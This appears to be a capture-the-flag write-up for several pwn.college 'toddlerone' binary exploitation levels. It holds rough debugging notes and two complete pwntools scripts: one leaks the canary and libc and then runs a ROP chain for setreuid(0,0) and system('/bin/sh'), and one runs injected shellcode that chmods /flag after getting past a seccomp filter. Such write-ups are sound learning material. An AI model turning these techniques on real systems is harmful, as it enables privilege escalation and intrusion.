Welcome to back
Program Exploitation
Challenges
Containment Composition (Easy)

No win function

stack overflow???
maybe orw

a seccomp filter!

wc

If rbp-0x28 is 0x725271a4bd26531a

The seccomp will be avoided

REPEAT !!!

read to rbp-0x78, but what’s in rbp-0x78?

Here is the addr of rbp-0x60
so, buffer is at rbp-0x60

We could utilize printf to leak data

We find canary at rbp-0x18
specially
The challenge has PIE

Get libc
At first we could utilize the printf to leak the address at challenge’s ret which pointer to main

The vaule - 0x22b6 = main_base_addr

success
Now, is time to leak canary
The canary is at $rbp-0x18

????


good

Now, to leak libc_base_addr


Utilize puts_function

We should set jail_num at rbp_0x28


Good, we get libc_base_addr

good
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| In [1]: from pwn import * ...: context.binary =ELF('/challenge/toddlerone-level-5-0') ...: p=process(b'/challenge/toddlerone-level-5-0') ...: libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') ...: jail_num = 0x725271a4bd26531a ...: again_code = b'REPEAT' ...: payload_1 = b'k'*(0x68-0x6) +again_code ...: #leak ret_main_addr first ...: p.recvuntil(b'Payload size:') ...: p.sendline(str(len(payload_1)).encode()) ...: print("payload_1_size", str(len(payload_1)).encode()) ...: p.send(payload_1) ...: p.recvuntil(again_code) ...: ret_main_addr = u64(p.recv(6).ljust(8,b'\x00')) ...: print("main_ret_addr", hex(ret_main_addr)) ...: main_base_addr = ret_main_addr - 0x22b6 ...: print("main_base_addr", hex(main_base_addr)) ...: #We get it! Now, is time to leak canary ...: #Obviously, we could courrupt the low value of canary ...: p.recvuntil(b'Payload size:') ...: payload_2 = b'k'*(0x48+0x1-0x6) +again_code ...: p.sendline(str(len(payload_2)).encode()) ...: print("payload_2_size", str(len(payload_2)).encode()) ...: p.send(payload_2) ...: p.recvuntil(again_code) ...: canary = u64(p.recv(7).rjust(8,b'\x00')) ...: print("canary", hex(canary)) ...: #good, we get canary. ...: #Now, to leak libc_base_addr ...: challenge_addr = main_base_addr + 0x1bad ...: e = p.elf ...: e.address = main_base_addr ...: p.recvuntil(b'Payload size:') ...: r = ROP(e) ...: r.raw(r.rdi) ...: r.raw(e.got['puts']) ...: r.raw(e.plt['puts']) ...: r.raw(challenge_addr) ...: payload_3 = b'k'*(0x60-0x28)+p64(jail_num)+b'k'*(0x28-0x18-0x8)+p64(canary)+b'k'*0x10+p64(0xdeadbeef)+r.chain() ...: p.sendline(str(len(payload_3)).encode()) ...: p.send(payload_3) ...: print("payload_3_size", str(len(payload_3)).encode()) ...: p.send(payload_3) ...: print("payload_3_size", str(len(payload_3)).encode()) ...: p.recvuntil(b"Goodbye!\n") ...: puts_got_addr = u64(p.recv(6).ljust(8,b"\x00")) ...: libc_base_addr = puts_got_addr - libc.symbols['puts'] ...: print("libc_base_addr", hex(libc_base_addr)) ...: # add ROP ...: libc.address = libc_base_addr ...: sys_addr = libc.symbols['system'] ...: binsh_addr = next(libc.search(b'/bin/sh')) ...: setreuid_addr = libc.symbols['setreuid'] ...: rop = ROP(libc) ...: ruid = 0 ...: euid = 0 ...: rop.raw(rop.rdi) ...: rop.raw(ruid) ...: rop.raw(rop.rsi) ...: rop.raw(euid) ...: rop.raw(setreuid_addr) ...: rop.raw(rop.rdi) ...: rop.raw(binsh_addr) ...: rop.raw(sys_addr) ...: #rop.raw(sys_addr) ...: payload_4 = b'k'*(0x60-0x28)+p64(jail_num)+b'k'*(0x28-0x18-0x8)+p64(canary)+b'k'*0x10+p64(0xdeadbeef)+rop.chain() ...: p.sendline(str(len(payload_4)).encode()) ...: print("payload_4_size", str(len(payload_4)).encode()) ...: p.send(payload_4) ...: p.interactive()
|
Containment Composition (Hard)

where is main_function?




before call __libc_start_main, the addr of main was stored in rdi


we get libc_start_main_addr
si,si,si

good

the main_addr is stored in $rsp + 0x18

call main!!!

we find main function
Utilize ida




All right

we find challenge function

canary is at rbp - 0x8
where is jail_num ???

this is v12[12]

the jail_num should currupt at v12[11]

the addr in rax is rbp-0x70+0x60, v12[12] is at rbp-0x10
Obviously, v12[11] is at rpb-0x18

the buf is at v12, so the buf is at rbp-0x70

here is jail_num


good

ret to main

very hard
Constant Corruption (Easy)

we have RWX right in stack, wow

seccomp

we can run shellcode at stack

in sandbox we can only use write and exit_group

if REPEAT in buf, we can pass seccomp and recall challenge

canary is at rbp-0x18


the buf is at rbp-0x50
we could send shellcode in buf and ret to buf to run

we get canary

the saved rbp is main’s rbp

we get the offset of main’s rbp and buf

before pop rbp, we will pop rbx

the seccomp will allow 2 function

the rbp-0x60 is at rbp-0x50+0x28=rbp-0x28
0x28=40

well
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| In [1]: from pwn import * ...: context.binary =ELF('/challenge/toddlerone-level-6-0') ...: p=process(b'/challenge/toddlerone-level-6-0') ...: #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') ...: #jail_num = 0xbe0251a35480a065 ...: again_code = b'REPEAT' ...: payload_1 = b'k'*(0x50-0x6) +again_code ...: #leak ret_main_addr first ...: p.recvuntil(b'Payload size:') ...: p.sendline(str(len(payload_1)).encode()) ...: print("payload_1_size", str(len(payload_1)).encode()) ...: p.send(payload_1) ...: p.recvuntil(again_code) ...: saved_rbp_addr = u64(p.recv(6).ljust(8,b'\x00')) ...: print("saved_rbp_addr", hex(saved_rbp_addr)) ...: #pause() ...: buf_addr = saved_rbp_addr - 0x11f0 ...: print("buf_addr", hex(buf_addr)) ...: #We get it! Now, is time to leak canary ...: p.recvuntil(b'Payload size:') ...: payload_2 = b'k'*(0x50-0x18+0x1-0x6) +again_code ...: p.sendline(str(len(payload_2)).encode()) ...: print("payload_2_size", str(len(payload_2)).encode()) ...: p.send(payload_2) ...: p.recvuntil(again_code) ...: canary = u64(p.recv(7).rjust(8,b'\x00')) ...: print("canary", hex(canary)) ...: #pause() ...: #p.close() ...: shellcode = shellcraft.pushstr('/flag') ...: shellcode += shellcraft.syscall('SYS_chmod', 'rsp', 0o777) ...: shellcode = asm(shellcode) ...: #shellcode_=shellcode.ljust(0x50-0x18, b'\x90') ...: print("shellcode_size", str(len(shellcode)).encode()) ...: payload_4 = shellcode+b'\x90'+p32(90)+p32(1)+b'k'*(0x50-0x18-48)+p64(canary)+p64(0xdeadbeef)+p64(0xdeadbeef)+p64(0xdeadbeef)+p64(buf_addr) ...: p.sendline(str(len(payload_4)).encode()) ...: print("payload_4_size", str(len(payload_4)).encode()) ...: p.send(payload_4) ...: #pause() ...: #p.close() ...: !cat /flag ...: p.interactive()
|

Constant Corruption (Hard)
no function name


main is at rsp + 0x18

good
call main

the challenge function

scanf size at rbp-0x90

read at rbp-0x88’s addr

the rbp-0x88 is pointer to rbp-0x70

the canary is at rbp -0x8

the rule_add’s syscall_number is at rbp - 0x80

the rbp-0x80 is poiner to rbp-0x14

good



Return to YanLand (Easy)
No asrl

well
analyse the Yan85

we find the interpreter_loop function